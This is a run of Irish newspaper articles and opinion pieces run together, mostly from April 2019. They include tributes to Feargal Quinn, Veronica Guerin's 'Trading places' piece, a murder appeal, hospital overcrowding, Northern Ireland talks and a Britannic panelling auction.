'traded places' with crime journalist Veronica Guerin - and her article about their experiment was one of her last to be published before she was shot dead. The 'Sunday Independent' journalist was tasked by her editor to find someone who was "even busier" than her and shadow them. The story 'Trading places' was published on June 23, 1996. The mother of one was murdered on June 26. Veronica wrote: "The idea was great. I was to shadow Feargal Quinn for a week, attend his meetings, watch him in the Seanad; wherever he went I was to follow. "In turn he would work with me for a few days. He would help research stories, meet the people I was meeting and generally work his ass off to file a story. "The reality of course differed from the theory and the problems arose when Feargal was due to accompany me on my bout of duty. He never chickened out but both of us agreed it would be inappropriate for him to meet drug dealers and convicted criminals. "It was just our misfortune that during the period we were shadowing each other, the stories I was working on involved such meetings." Although they both decided it would be too dangerous to shadow Veronica, she truly relished following Feargal around. She praised him for being dedicated to knowing what his customers wanted - and treating his staff fairly. "Customers are Feargal's buzz: what they want, how they feel, what motivates them, their choice of bloody vegetables for God's sake," she said. "All (employees) claimed Superquinn was a great place to work citing opportunities and conditions. A shop stewart told me that in his experience Quinn was the fairest of the supermarket employers." But she joked that it frustrated her that all of his work was "done with a smile". "During all the hours I spent with him, he never lost his cool. His PA insists she has only ever seen him lose his temper once." The journalist concluded that she wouldn't like to permanently swap jobs. "He's great company, and has a wonderful sense of humour but his work load is boring. "And, given that he's put up with my low boredom threshold and impatience firsthand, I doubt he'd trust me to do his job for a day," she wrote, adding: "A vital characteristic for Feargal's job is patience and he has it in abundance." The supermarket mogul wrote about the experience years later in his memoir. "We had great chats over the course of our time together," he wrote. "On the final day together, I was particularly busy. When we were finished for the day, Veronica hitched a lift with me to Jury's Hotel, where her car was parked. "We said our goodbyes and both got into our cars. We drove through the East Link toll bridge at the same time, and she passed me at speed. "I phoned her and said: 'Veronica, were you in an awful hurry to get away?' and she said: 'Oh, I'm always driving too fast. In fact, I have to go down to Naas court soon because I was charged with speeding'. "On June 26, 1996, Veronica went to Naas for the court appointment she had mentioned to me. "On her way back, she phoned a garda friend. She was on the phone to him at Newland's Cross when he heard the gunshots." Some cancer patients who need tumours removed cannot be admitted to hospital on time because of a lack of beds, a doctors' conference has been warned. Dr Clive Kilgallen, a consultant in Sligo, said cancellations due to overcrowding were not just for patients suffering with conditions like a hernia. In some cases, scheduled admission of waiting list patients had ground to a halt, he told the annual meeting of the Irish Medical Organisation yesterday. He said long delays on trolleys were putting patients at increased risk of illness and infection. The ongoing overcrowding crisis in several hospitals led to calls for a six-hour limit on the length of time a patient should wait for a bed. Dr Peadar Gilligan, an A&E consultant in Beaumont Hospital, said the waiting time target in the NHS was four hours and in New York three hours. "The six-hour target should be from arrival in the emergency department to admission to a ward bed or discharge home," he said. "In Dublin, if you are three hours on a trolley after we request a hospital bed we commiserate with you and tell you there is probably another nine hours. That is just disgraceful." He said the target can be met only with more hospital staff and beds, better resourced GPs and faster access to diagnostic scans for patients. Meanwhile, doctors backed a motion calling on the Government to regulate social media sites which are leaving children and vulnerable adults at risk. Dr Matthew Sadlier, a psychiatrist in Dublin, said social media was not subject to the same constraints as newspapers, leaving children prey to cyberbullying and some adults exposed to influences which put them at risk of suicide or eating disorders. "It is dominated by a few companies. A lot of these companies are basing operations here," he said. "They are daily raising advertising revenue as if they are publishers but they have no responsibility for what is happening on their site. "People have free choice but when it comes to children we have to look for protection." Doctors disagreed, however, on a motion calling on the Department of Health to stop abrogating its responsibility and organise a resourced campaign highlighting the dangers of cannabis use. Dr Ray Walley, a GP in north inner city Dublin, said there ias a view among young people that cannabis was a safe recreational drug that could be used with no consequences. Yet "there is no national campaign advising the dangers of cannabis use especially in young adolescents". He was supported by Dr Bobby Smyth, who works in addiction services in the HSE and who warned that use of cannabis had escalated in the last decade. At the same time, public knowledge about its adverse effects appeared to have gone in the opposite direction, he added. However, the motion was opposed by Dr Cathal O Suilleabhain and Dr Garrett McGovern, two GPs who treat drug addicts. There is a need to educate people about the drug but a "patronising" campaign will not work, they added. Dr McGovern said alcohol was still the main drug abused in this country and was the main reason for people being referred for addiction treatment. A majority of doctors at the conference voted in favour of the motion. The family of murdered teenager Jonathan Cairns have made an emotional appeal for information on the 20th anniversary of his murder. Jonathan, from Ballykelly Co Derry, was attacked as he made his way home from a night out in the early hours of Sunday April 25 1999. The 18-year-old's body was found in a shallow grave in Loughermore Forest, not far from his home, later that day. His bloodstained clothes were also discovered in the grounds of Glasvey Special School. A 49-year-old man was jailed for five years in 2002 for perverting the course of justice in relation to Jonathan's murder, but nobody has ever been charged with the killing. Jonathans father Raymond is appealing for anyone with information about their sons murder to come forward to police. Expand Close Jonathan Cairns / Facebook Twitter Email Whatsapp Jonathan Cairns Today I am making this appeal as its been 20 years since our son was murdered. 20 years of living each day without our lovely son, 20 years of living without answers, and without justice," Mr Cairns said. Jonathan was 18 when he died, he should now be 38 maybe with kids of his own. We think about him every day. He was always smiling, always happy. The people who did this took our son away from us and we dont know why. All of his family loved him and miss him so much. To anyone who has information, its never too late to come forward. Please tell us what you know. On the anniversary police will be conducting searches in the area Jonathan's body was found and police officers will be handing out leaflets. A mobile police station will also be open today until 7pm in Ballykelly village at the junction between Plantation Road and the Main Street for anyone who wishes to speak with Police. The investigation into Jonathans murder has involved the identification of more than 2500 witnesses, statements taken from 872 people and in excess of 20 searches. Lead investigator Detective Inspector Adrian Brown said that Jonathan's friends and family had suffered "intolerable grief" for the last 20 years. "Their son died a violent death as a result of a vicious beating and we understand their desire to see justice done. We are committed to doing all in our power to apprehend those involved in this brutal incident which went far beyond a drunken assault," he said. I believe Jonathans killer or killers were local to the area and they may have known Jonathan. I also believe that people within the Ballykelly community have information which could help solve this case. I appreciate that this happened a long time ago but I would appeal to people to think back to the Saturday night and Sunday morning of 24th-25th April 1999. If you were in the Clooney Road/Loughermore Road/Caman Park areas of Ballykelly between 1.30am and 9am on Sunday 25 April and havent spoken to us, please speak to us. Detective Inspector Brown said police wanted to speak to two men seen in the area where Jonathan was attacked. Two men were seen in the area where Jonathan was assaulted on the Loughermore Road in the early hours of Sunday April 25 1999. They have never come forward to speak to police despite numerous appeals which leads me to believe they were involved in the murder. They were in their early 20s, about five foot 10 inches tall and one of them might have had auburn coloured hair," he said. Some people were not prepared to come forward at the time for a variety of reasons but we are asking people to search their conscience and think again. Circumstances and loyalties may have changed over years and it is never too late to do the right thing. Anyone with information should call detectives on 101. Or, if someone would prefer to provide information without giving their details, they can contact the independent charity Crimestoppers and speak to them anonymously on 0800 555 111. A HOTEL worker accused in the Maldives of the manslaughter of an Irish child has spoken about fleeing the island. Toddler Max Musgrave, son of Dubliners Tara and Trevor Musgrave, died on October 23 2017 after drowning in a private pool in a luxury resort while on holiday. Jeanne Manon Moutet (24), a French national who was working as a catering coordinator at the five-star Huvafen Fushi Resort, was charged by Maldivian authorities with the offence of causing "death by negligence" in January 2018. However, the Frenchwoman fled home in November 2018, and has now spoken about the "shocking" ordeal. Expand Close Jeanne Manon Moutet (24). Photo: Maldives Police Service / Facebook Twitter Email Whatsapp Jeanne Manon Moutet (24). Photo: Maldives Police Service Manon said she was working in the restaurant when she was asked by management to babysit three Irish children before the accident occurred in October 2017. According to French media, Manon was looking after the three children, an eight-year-old girl, a four-year-old and a 23-month-old boy, when the two eldest children became "agitated". The exact details of what happened next are unclear. A short time later, the 23-month-old boy was found in a private pool just a few metres from his parents' room. His parents, who are well-known on Dublin's social scene, have said they were "absolutely devastated" after the tragedy. According to the police report published by Le Parisien, the family said they would "like claimed against the management of the resort" that their son's death was because of the management's negligence. Speaking last week, Manon said: "After one week of investigation, I was made to sign papers in Maldivian that I do not understand," she told Le Parisien. "In reality, these are papers that say that I am accused of being responsible for the death of the boy but I was told that I was only suspected. Expand Close Tara Logan and Trevor Musgrave (pictured on their wedding day) Photo credit: John Dardis / Facebook Twitter Email Whatsapp Tara Logan and Trevor Musgrave (pictured on their wedding day) Photo credit: John Dardis "I didn't warn my family right away, I didn't know how to tell them about it." Negligent homicide is classified as a Class 4 felony in the Maldives, carrying a prison sentence of up to 15 years in prison, French media has reported. But in August 2018, she asked the judge for a few "holiday" days and headed to the capital city to catch a boat back to France. She said that she disguised herself as a crew member and arrived at the French island of Mayotte 17 days later. Now, Manon says she will continue to live her life with "this feeling of fault" and that she "cannot approach a toddler without panicking". "These events have destroyed my life, but it's amazing to be alive today. "I will try to move forward, it takes time but I will move on." Police in the Maldives shared a public appeal for Manon's location in December 2018, but it is believed that it is "unlikely" she will be extradited back there from France. Speaking last week, Manon said that she had "flashbacks" of the incident between January and August 2018, where she continued to work at the hotel. "From January to August, I feel like I stopped living. I am physically there but actually beside myself," she said. "I dream of a thousand scenarios where the accident does not happen. I have no real life." Max's father Trevor Musgrave, originally from Castleknock, owns a luxury car dealership called Onyx, while his Malahide-born wife Tara previously worked in fashion. The couple previously lived in the K Club and are since thought to be living in the UK. There is anger among parents over Social Protection Minister Regina Doherty's suggestion that money is not the reason for the low paternity leave take-up among fathers. Ms Doherty has committed to giving new mothers and fathers two paid weeks off from November, rising to seven weeks by 2021. The State will pay 245 a week to parents, which may be voluntarily topped up by private companies if the employee is on a higher salary. However, a recent survey found almost two-thirds are not providing top-ups. Ms Doherty claimed there was a "narrative that the value of money associated with the scheme isn't enough for men to take off work". She added: "It doesn't seem to have stopped women from taking maternity leave." Separate research shows 60pc of men don't take existing paternity benefits. Laura Erskine, spokeswoman of parenting website MummyPages.ie, said the feedback they have had is Ms Doherty's remarks are "downright insulting". She said: "A huge proportion of dads simply cannot afford to avail of this leave despite the fact that they desperately want to spend this important time with their new or growing family." Ms Erskine said the Government's plans for extending parental leave are welcome, but if the Sate payment is not topped up by employers it can be difficult for both parents to take the time. She added that amid high house prices and soaring rental costs, many parents have to operate as dual-income families to make ends meet and they save to be able to afford mothers taking their full maternity leave. Ms Erskine suggested the Government should give employers incentives to top up the basic 245 paternity and parental leave payments. She said an "appropriate tax break" would "mark a positive step towards greater balance of parental care of children under a year in the home". Ms Doherty has said she has never claimed new fathers don't want to spend time with their children and acknowledged that most do. However, she also spoke of the need to have a conversation "around gender roles". She said that when the minimum wage was introduced it was said to be unaffordable for business, but now it's accepted as a benchmark for workplace fair play. Ms Doherty said she hopes initiatives like parental leave can change mindsets and actions "making it acceptable and possible for both parents to become actively involved" in early childcare. Separately, concerns have been raised about the impact on both public and private sector employers of Government plans to extend parental leave. Mary Connaughton, director of the Chartered Institute of Personnel and Development, warned of the pressure on both public and private employers to pay top-ups for extended parental leave. Ms Connaughton, whose organisation represents human resources professionals, said there will be an "immediate cost" to the State to pay for parental leave top-ups for public sector employees like teachers and civil servants. This echoes concerns expressed by Education Minister Joe McHugh about the financial costs of extending the leave. Ms Connaughton also said the State's tight labour market will see pressure on private sector employers to pay the top-ups, which would be particularly difficult for small business. She said there's a "real risk" of a divide between the public and private sectors with State employees being paid the top-ups while others miss out because small businesses can't afford it. Taoiseach Leo Varadkar, British Prime Mnister Theresa May and President Michael D Higgins before the funeral service for murdered journalist Lyra McKee at St Anne's Cathedral in Belfast Brian Lawless/PA Wire TAOISEACH Leo Varadkar and British Prime Minister Theresa May have set out an end of May target for progress on talks to restore the Northern Ireland Executive. They said they came together with other political leaders at the funeral of murdered journalist Lyra McKee and gave expression to the clear will and determination of all of the people of these islands to reject violence and to support peace and a better future for everyone in Northern Ireland. In a joint statement they said that they have agreed to establish a new process of political talks involving all of the main parties in Northern Ireland and both the Irish and British governments. In coming together with other political leaders in St Annes Cathedral to pay tribute to Lyra McKee, we gave expression to the clear will and determination of all of the people of these islands to reject violence and to support peace and a better future for everyone in Northern Ireland," it reads. We also heard the unmistakable message to all political leaders that people across Northern Ireland want to see a new momentum for political progress. We agree that what is now needed is actions and not just words from all of us who are in positions of leadership. We have agreed to establish a new process of political talks, involving all the main political parties in Northern Ireland, together with the UK and Irish Governments, in accordance with the three stranded process. The aim of these talks is quickly to re-establish to full operation the democratic institutions of the Belfast/Good Friday Agreement - the NI Executive, Assembly and North-South Ministerial Council - so that they can effectively serve all of the people for the future. We have asked the Secretary of State for Northern Ireland and the Tanaiste to meet later today in Belfast to set out our proposed approach and to commence the talks process as soon as possible after the local elections in Northern Ireland. "In addition, we have agreed that there should be a meeting of the British-Irish Intergovernmental Conference during the same period. The Conference will consider East/West relations, security cooperation, and political stability in Northern Ireland. We understand the complexity of the underlying concerns of all parties, and the need for renewed trust, mutual respect, generosity and new thinking to resolve the issues. As Prime Minister and Taoiseach, we are determined to work together to ensure this process comes to a successful conclusion. We will review progress at the end of May. Tanaiste Simon Coveney and Northern Ireland Secretary Karen Bradley are meeting today to set out the proposed approach and to commence the talks process as soon as possible after the local elections in Northern Ireland. In addition Mr Varadkar and Mrs May have agreed that there should be a meeting of the British-Irish Intergovernmental Conference during the same period. The Conference will consider East/West relations, security cooperation, and political stability in Northern Ireland. Feargal Quinn was that rare character in Irish politics - somebody liked and respected in equal measure by people across all parties, and none. He spent 23 years as an Independent member of Seanad Eireann for the National University of Ireland (NUI) constituency, having been first elected in February 1993, and re-elected in four subsequent elections by the university graduates, until his retirement in 2016. When debate began to get heated, Mr Quinn's interventions were usually quiet and measured but no less incisive and trenchant for all of that. "Now, I'm just a grocer..." he would frequently begin. Colleagues on all sides had great regard for the man and his work. They soon became fully aware of why he was such a successful businessman, who eventually made hundreds of millions from his innovative supermarket business. Long-time senator Joe O'Toole competed against Feargal Quinn in five elections, in the very tight NUI three-seat constituency. The rivals were like chalk and cheese. Mr O'Toole was a trade union leader with radically different views from Quinn on many political, social, and economic issues. But they learned to work together on many matters, hammering out a common position on several issues. "He was a man totally without any kind of bitterness who sought practical solutions and compromises. His chief characteristic was fairness and he was easy to work with," former senator Mr O'Toole recalled. As a lawmaker and contributor to public debate, he championed fairness and practicality. One of his initiatives was an attempt to separate the sacred feast of Easter from the public holiday, and pick a fixed date for it each year. This, he argued, would help all those involved in the hospitality and tourism industries, especially. But it would also be a boon to employers who could better plan work schedules and rosters, and employees who could make better holiday plans. Feargal Quinn was also an early fan of adopting 100pc metric measures in every facet of Irish life. This was part of his commitment to the European project, as in Seanad Eireann he picked the EU affairs committee as his first choice every time, and contributed enthusiastically to its proceedings. "His interest in Europe was totally genuine based on a belief in its huge value to Ireland," a former colleague said. Other parliamentary projects he championed included a comprehensive law to defend sub-contractors from potential abuses by larger contractors, and an effort to end unjust rental leases which had "upward-only" review clauses. It was on projects such as this that he managed to get a great deal of support across the political spectrum in a simple quest for fairness. Feargal Quinn's name was often cited as a potential presidential candidate and in other circumstances he might have secured cross-party support. It is known that he thought about it on occasion, but it never happened. One former colleague yesterday dubbed him "the best president we never had". But he remained loyal to the upper house of parliament and in autumn 2013 joined energetically in the successful campaign for the retention of Seanad Eireann. The voters' rejection of then-Taoiseach Enda Kenny's abolition plans was a boon to him. The ship which sank after being hit by a mine in the Aegean Sea in 1916 Making waves at auction: Carvings which made up part of the Britannic's second-class lounge could sell for between 200,000-300,000 at auction Making waves at auction: Carvings which made up part of the Britannic's second-class lounge could sell for between 200,000-300,000 at auction The Shipbuilder Special Edition of 1911 was full of praise for the passenger accommodation on the White Star Line's luxury vessels. "Full advantage has been taken of the great size of the Olympic and Titanic to provide passenger accommodation of unrivalled extent and magnificence," they wrote. "Everything has been done in regard to the furniture and fittings to make the first-class accommodation more than equal to that provided in the finest hotels on shore." The author waxed lyrical about the first-class lounge: "A noble apartment in the Louis Quinze style, the details being taken from the Palace at Versailles. Here passengers will indulge in reading, conversation, cards, tea-drinking, and other social intercourse The walls are covered with finely carved boiseries in which, without interfering with the symmetry of the whole, the fancy of the carver has shown itself in ever-varying detail." The interior architecture of three sister ships, Olympic, Titanic and Britannic, was made by the artisans at Harland & Wolff in Belfast. The boiseries, or carved wooden panels, were designed by Arthur Henry Durand (1875-1958), an architect and interior designer who worked on several of the White Star vessels and assisted with the design of the Eiffel Tower in Paris. Expand Close The ship which sank after being hit by a mine in the Aegean Sea in 1916 / Facebook Twitter Email Whatsapp The ship which sank after being hit by a mine in the Aegean Sea in 1916 The White Star Line didn't have the best of luck with luxury vessels. The Titanic sank on her maiden voyage in 1912. Glamorised in legend and film, it's now the most collectible shipping disaster of all time. The engineers at Harland & Wolff made some hasty modifications to the design of its sister ship, the Britannic. The hull was altered to make it resistant to icebergs, more lifeboats were put in, and the name of the ship was changed from Gigantic (which smacks of hubris) to the humble Britannic. This last point is unsubstantiated, but you can see how the story arose. At 50,000 tons, she was larger than both the Titanic and their sister ship, the Olympic. The Olympic was the survivor of the trio. Known as 'old reliable', she was retired from service in April 1935 and her fixtures and fittings were sold at auction in the same year. Because the Olympic didn't sink, her memorabilia lacks the cachet of disaster, but the English hotelier Algernon Smart, who had travelled on the Olympic, saw that the fittings of a luxury liner would work in a hotel. Elements of the ship's interior, including the ceiling, panelling, mirrors and stained glass window, can still be seen at the White Swan Hotel in Alnwick, Northumberland. Like her sister ships, the Britannic was designed as a luxury transatlantic liner and built at Harland & Wolff in Belfast. Her launch was planned for 1914, but the First World War intervened. The ship was requisitioned by the admiralty and re-fitted as a hospital ship, her fancy fixtures and fittings were removed and put into storage. The Britannic made several trips as a military vessel, retrieving wounded British soldiers from various ports and bringing them home. Then, in November 1916, she hit a mine off Kea island in the Aegean Sea and sank within the hour. The vast majority of the medical staff and crew were rescued. Meanwhile, the luxurious fittings languished in storage. In June 1919 - almost exactly 100 years ago - the Belfast Newsletter advertised the auction of the "Complete Magnificent and Costly Unused Interior" of the SS Britannic. The hardwood panelling from the first-class and second-class lounges travelled to Dublin, where they were installed in La Scala Theatre and Opera House on Princess Street. It later became the Capitol Cinema. The theatre's Oak Room was lined with the oak panelling from the first-class lounge, designed with the same detail as the surviving panels from the Olympic; the Maple Room was panelled in maple sycamore, carved in a neo-Classical style. The panelling remained in place until the cinema was demolished in 1972, to be replaced by the building that is now Penneys. The panels were salvaged and installed as a bar in a private house in Dublin. At the time, it was thought that they had come from another White Star vessel, the Celtic, which was dismantled for scrap in 1933. Expand Close Making waves at auction: Carvings which made up part of the Britannic's second-class lounge could sell for between 200,000-300,000 at auction / Facebook Twitter Email Whatsapp Making waves at auction: Carvings which made up part of the Britannic's second-class lounge could sell for between 200,000-300,000 at auction "A friend of mine said to me there's a man in Dublin who has these fittings" says Niall Mullen, antique dealer and auctioneer. This casual remark led to a process of discovery, during which the identity of the panels was revealed. Crucially, the Britannic's Harland and Wolff yard ship build number, S-433, is found on the reverse of most of the panels, either stamped or written in chalk. The panels are coming up for sale as part of a two-day auction at The Heritage Hotel, Killenard, Co Laois, on May 1 and 2. Here, the second-class lounge (Lot 433: est 200,000 to 300,000) has been taken out and reconstructed in its entirety, including a copper-fronted mahogany bar. "You'd think you were looking at the Titanic because it's the exact same design," says Mullen. In terms of size, the lot comprises 25 square metres of maple panelling along with five metres of mahogany. But when it came to the first-class lounge (Lot 433a: est 250,000 to 350,000), he extracted a section of the oak panelling. "Look, lads," he said to the vendors, "this might not sell and I don't want to be wrecking your house for nothing." Potential bidders can make an appointment to see the rest in situ. See victormeeauctions.ie and titanicsisterauction2019.com. The inspector generals report found that now-Illinois First Lady M.K. Pritzker ordered the removal of five toilets from one of the familys Chicago mansions shortly before an inspection, in order to declare the home uninhabitable. An email between contractors showed M.K. wanted to reinstall one of the toilets after the inspection to service J.B.s hangout/meeting area. This dance allowed the Pritzkers to reap more than $331,000 in property tax breaks. Ireland is "the most globe-trotting nation" on the planet, according to data based on holiday bookings to 170 countries. Research looking at overseas and domestic holiday bookings since 2014, and calculated per head of population, found people living in Ireland to be the most travelled. Australia and New Zealand ranked second and third in the data, published by Hostelworld, the online hostel-booking platform. Hostelworld's 10 most travelled nations (per capita) Ireland Australia New Zealand England Canada Netherlands Switzerland Scotland Sweden Denmark Overseas trips from Ireland plunged during the post-Celtic Tiger recession, but have been steadily picking up since 2011, according to the Central Statistics Office. In 2016, 7.4 million overseas trips by Irish residents were recorded - up 6pc from the previous year, and with no signs of slowing down. Expand Close Dublin Airport: Over 3 million passengers in July 2017 / Facebook Twitter Email Whatsapp Dublin Airport: Over 3 million passengers in July 2017 73pc of its members have seen bookings rise between April and June of this year, according to the latest quarterly survey by the Irish Travel Agents' Association (ITAA). Spain (including the Canary and Balearic Islands) is Ireland's favourite overseas holiday destination, according to the ITAA - followed by Portugal and the USA. Hostelworld's data, based on some seven million bookings a year for hotels, B&Bs, apartments and campsites as well as hostels, shows Irish people also love their staycations - with Dublin, Galway, Cork and Belfast among the ten most-booked destinations. Hostelworld's Top 10 destinations booked by Irish residents Expand Close Nerja, on Spain's Costa del Sol. Photo: Deposit / Facebook Twitter Email Whatsapp Nerja, on Spain's Costa del Sol. Photo: Deposit Dublin Galway London Amsterdam Berlin Budapest Cork Prague Belfast Barcelona In an encouraging sign for inbound tourism, Ireland also ranked 8th on the platform's list of countries receiving most bookings - behind titans like Spain, the USA and Italy, but ahead of France - the most visited destination in the world for 2016, according to the UN World Tourism Organisation. The news comes as Dublin Airport reported its busiest-ever July, with 3.1 million passengers - the first time in its 77-year history that more than three million customers were facilitated in a single month. In terms of pure volume (i.e. not adjusted for population size), people living in the USA make the most bookings, Hostelworld found, followed by England, Germany, Australia and Canada. Read more: Whenever we wake up to shocking headlines like the burning of Notre-Dame Cathedral, among our first thoughts, once we have recovered from the initial impact, is to ask how could this happen, who was responsible, could it have been prevented and what must we do now to prevent it happening again? For example, could St Patrick's Cathedral go up in flames? How do we ensure "never again"? Similar questions surfaced last week when we learned the graves of thousands of infants who died in mother and baby homes remain unknown and - to compound this unspeakable scandal - that people who must have known how the bodies were disposed of failed to co-operate fully with the Commission of Investigation of Mother and Baby Homes, chaired by Judge Yvonne Murphy. How could this happen? In 'A Small Town Near Auschwitz', Mary Fulbrook provides searing insight into how sustained, systemic cruelty can come to be inflicted on defenceless people. She documents how local government officials, who saw themselves as "ordinary decent people", turned a blind eye to the deportation of their Jewish fellow citizens; became desensitised to their own role in the ghastly enterprise; and subsequently could say they knew nothing about the gas chambers just up the road. "What kind of blinkers and blindfolds would be required to have failed to see?" the author asks. "While people were heavily constrained and repressed by the system", and the pressures to conform were intense, "people have degrees of freedom and can make choices about how to act, so to have played any role in the system was morally wrong". Their collusion can be explained "only by a tragic combination of careerism, callousness and cowardice cowardice because they never dared to speak out at the time, and never quite faced up to the truth in later self-representations, distorting dates and forgetting or omitting details in an effort to present a case for innocence and ignorance". While nothing can ever be considered comparable to the Holocaust, the communal 'omerta' in small-town 1930s Germany is clearly mirrored in contemporary small-town Ireland. Judge Murphy exposes similar self-serving moral cowardice at a time when new-born babies were dying like flies and their bodies disposed of in sewage tanks, buried in unmarked graves or donated to medical schools and how surviving perpetrators and others in the know back then are today presenting with amnesia, omissions and distortions as we try to unearth the truth and hold people accountable. The commission reported Galway County Council members and staff "must have known something about the manner of burial" at the Bon Secours home in Tuam, but denied any knowledge about it. The Sisters of the Sacred Hearts of Jesus and Mary (God help us!), who ran Sean Ross home in Roscrea and failed to keep burial records of more than 1,000 children and 29 mothers who died there, submitted an affidavit that the Commission considered "in many respect speculative, inaccurate and misleading". Human suffering and injustice of such biblical proportions are very difficult to take in, because each and every one of these mothers and babies was a unique person. But even when we are confronted with the abuse of a single individual it is difficult to process. One such person is the woman known as 'Grace'. In 1989, 'Grace' was placed with a foster family in the south-east as a child with severe intellectual disability and, despite evidence emerging in 1996 of brutal sexual assault and multiple physical injuries, the health service left her in that home for another 13 years at the mercy of her abusers, while removing other children deemed to be at risk in the same home. In 2009, a social worker made a protected disclosure about the plight of 'Grace' but it took this brave woman seven years of tireless effort to overcome determined resistance by individuals within the HSE to prevent exposure of these crimes and deplorable official neglect. Ultimately she had to rely on disclosures by John Deasy and John McGuinness to, bizarrely, the Dail Public Accounts Committee to trigger action by the authorities. In her evidence she accused the HSE of conspiring to cover up the abuse, misrepresenting the facts of the case and cutting funding to the small agency that employed her. As a result of her efforts Judge Peter Kelly awarded 6.3m to 'Grace' and a commission of inquiry, headed by barrister Marjorie Farrelly was set up in April 2017 to establish the facts. It is 30 years since 'Grace' was placed in foster care, 23 years since the first allegations of sexual and physical abuse, 10 years since the social worker made a protected disclosure and two years since the Farrelly Commission was set up. Yet we still don't have any answers or accountability and the inquiry into what happened to scores of other children fostered in the same home has yet to begin. This interminable delay suggests continuing obstruction and "self-representations ... of innocence and ignorance", sustained by underlying cowardice, callousness and careerism. It is high time the State deploys whatever resources and legal powers are needed to bring this charade to a swift end; to initiate criminal proceedings against those who abused 'Grace' and probably other children; and to impose the toughest available sanctions on any health service staff and managers who turned a blind eye to 'Grace's' suffering or who have fought tooth and nail to cover it up. Another heavily redacted report, like that into the murder-suicide of the Dunne family in Wexford in 2007, with whole pages blackened out and no accountability, will do nothing to change the culture that spawns this seemingly endless catalogue of scandals in our health service and other institutions. But then we don't do personal accountability in Ireland. Judge Murphy noted the behaviour she observed was not confined to Tuam or Bessborough; it happens all over the country. It is an aspect of the "Irish thing" acutely observed by Seamus Heaney: "Whatever you say, you say nothing." Hear no evil, see no evil and remember no evil. No comment. Catherine Corless, whose dogged research led to the Murphy Inquiry, spoke this week of people coming up to her in Tuam to remark on the callous treatment of the children but adding, in whispers, "don't quote me on that". This communal and institutional 'omerta' is the dark side of the "meitheal" and the "tight-knit communities" which we Irish so proudly trumpet. So, maybe we'll start talking about having talks about talks. That's a hard, but fair assessment of responses from the Democratic Unionist Party and Sinn Fein to Fr Martin Magill's powerful call for Lyra McKee's murder to generate real political compromise in the North. He was telling the North's politicians to get the power-sharing government and parliament, which has been idle since January 2017, back working. For a brief period early yesterday morning, it seemed Fr Magill's strident call - which drew a rare standing ovation inside a church - was going to be heeded. The DUP leader, Arlene Foster, went on RTE radio to give her response, which did not break much new ground. Ms Foster repeated her offer of a twin-track approach to ending the stalemate. The devolved institutions could be restored quickly to deal with those pressing issues like running the health service. Then a separate process could address disagreements like same-sex marriage and Irish language rights legislation. Sinn Fein was quickly out there to say: no deal. Deputy leader Michelle O'Neill said bluntly that the parallel process would not work. "The citizens here deserve to have their rights delivered on, marriage equality, language rights, legacy inquest rights. These things need to be delivered, and that in itself then paves the way for the institutions to be restored," Ms O'Neill insisted. There was a sense that both parties were keener to avoid blame over more failures to make progress, than they were on resolving the impasse. The one good thing was that both sides agreed there must be talks. Eventually, they might surprise us - but that would be a surprise. As always there is wrong on both sides. Language rights and gay rights are no trivial issues. Both Scotland and Wales have language equality laws and so should the North. Equally, Lyra McKee's funeral service included a very strong gay symbolism. It is also true that both parties came tantalisingly close to a workable compromise on February 14 last year. The clever formula provided for three inter-linked acts, one covering Irish, another Ulster Scots, and the third covering mutual respect for diversity. Both sides got what they wanted - neither had to cave in. Then the DUP "bottled things" because it feared it could not sell the deal to its grassroots. But there is no point in Sinn Fein harping on about an old deal that cannot be sold. It would do better to stop elements in its party and allied bodies from allowing unionists to accuse it of "weaponising" Irish. Lamentably, there is little hope from Democratic Unionist Party-Sinn Fein talks. Once again, 21 years after Good Friday, they need outside help. They say that entrepreneurs have a distinct ability to be both "thinkers" and "doers". They are more than the armchair theorist and more than an action figure who goes with the crowd. By that definition Feargal Quinn was the ultimate entrepreneur. He was full of ideas throughout his life (and not just about business) and he also had the boundless energy and enthusiasm to put them into practice. He was one of a handful of Irish business leaders who built companies at home which were as good, if not better, than any of their counterparts around the world. Irish firms like that are easier to find today, but back then they were few and they paved the way for Ireland's vibrant trading economy today. At just 23-years-old he started his own supermarket business at a time when the notion of self-service grocery shopping was just taking off. His Superquinn store was not the first supermarket here but it helped to define the concept in Ireland and beyond. By the early 1970s, Superquinn had grown into a successful operation with 300 employees. By the time he sold the business in 2005 it had 24 stores, 5,000 employees and revenues of around 600m. He had carved out a near 10pc share of a massive and cut-throat grocery market. What made Superquinn different was its founder's extraordinary attention to detail and his openness to new ideas. Feargal Quinn pioneered customer service in modern Irish business and put the customer at the centre of everything he did. It seems obvious now, but it was revolutionary in 1960s Ireland. His book, 'Crowning the Customer', started out as a series of notes for staff. After he got tired sending out printed copies to employees he decided to publish them as a book. He told the publisher, Michael O'Brien, at O'Brien Press, that it should be a short read, with large print that could be read from start to finish in a single flight by a business executive. He understood the pressure of time, short attention spans and the value of concise presentation before many others. His philosophy covered everything from how high to place the fruit and vegetable shelves, to how you deal with complaints. He gave the example of a man who bought a steak. He got home only for his wife to tell him to take it back because it wasn't what she had wanted. The man would return the product claiming it was gone off. The philosophy was to take it back, and give him something else in return, even if you knew there was nothing wrong with it. That man's custom over many years was worth much more than a single cut of meat. He used to say that a negative comment about your business would be passed on to 17 people, while a positive one would only reach about three. 'Crowning the Customer' has been translated into 14 languages, including Chinese. The Irish grocery market was seen as ripe for takeover by larger British multiples for a long time. Ferociously competitive, Feargal Quinn applied his own ideas to Superquinn and believed that if an Irish company delivered the best quality and service, while retaining an Irish feel and identity, it would have a solid place in an industry that was becoming more international. He brought the Irish language into in-store signage. He developed the first technology-based loyalty scheme in Europe, called 'SuperClub'. He knew he couldn't match competitors on advertising spend so he garnered publicity from stunts - like having an elephant at a store opening. He had a policy of speaking directly to the media on controversial issues for the sector, which garnered publicity. Think Michael O'Leary's low-cost approach to marketing, long before Michael O'Leary. They clearly differed on customer service philosophy, however. Despite the success of Superquinn over many years (it spanned six decades and nine Taoisigh), Mr Quinn sold the company in 2005 for around 420m to a retail and property development consortium led by Bernard McNamara and Simon Burke. The Superquinn name disappeared a few years later when it was bought by SuperValu. The decision to sell back in 2005 was not difficult, he said afterwards. "I remember somebody saying to me, 'I can't believe you don't put eight floors on top of that, two levels of car parking underneath. You could make much more money'. "So others valued the premises much more than we could ever make from the grocery business. "I went to the family and said, 'others value this and I'm getting to the stage that I'm not going to start getting into construction and building, do you want to?' And they didn't." Feargal Quinn knew when to get out while he was ahead. Outside of Superquinn, he wanted to give back to society. He had run for the Seanad as far back as 1973 and was eventually elected in 1993. While there he fought hard for small business, especially after the crash in 2008. He backed a Construction Contracts Bill which would prevent large contractors from holding 